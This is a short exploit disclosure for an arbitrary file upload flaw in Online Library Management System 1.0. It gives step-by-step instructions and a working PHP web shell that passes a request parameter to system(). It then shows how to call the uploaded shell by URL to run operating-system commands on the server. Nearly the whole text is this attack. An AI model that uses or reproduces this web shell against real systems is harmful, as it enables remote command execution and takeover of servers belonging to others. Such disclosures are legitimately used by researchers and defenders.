Online Library Management System 1.0 Shell Upload

`# Exploit Title: Online Library Management System 1.0 - Arbitrary File Upload  
# Date: 22-10-2020  
# Exploit Author: Jyotsna Adhana  
# Vendor Homepage: https://www.sourcecodester.com/php/14545/online-library-management-system-phpmysqli-full-source-code-2020.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=14545&title=Online+Library+Management+System+in+PHP%2FMySQLi+with+Full+Source+Code+%282020%29  
# Version: 1.0  
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4  
  
  
#Vulnerable Page: http://localhost/librarysystem/admin/borrower/index.php?view=add  
  
#Exploit  
Fill details  
Create php shell code with below script  
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>  
Click on Browse  
Select php file  
Click Save  
Access below URL:  
http://localhost/librarysystem/admin/borrower/photos/23102020080814backdoor.php?cmd=dir  
add system commands after cmd to execute it.  
`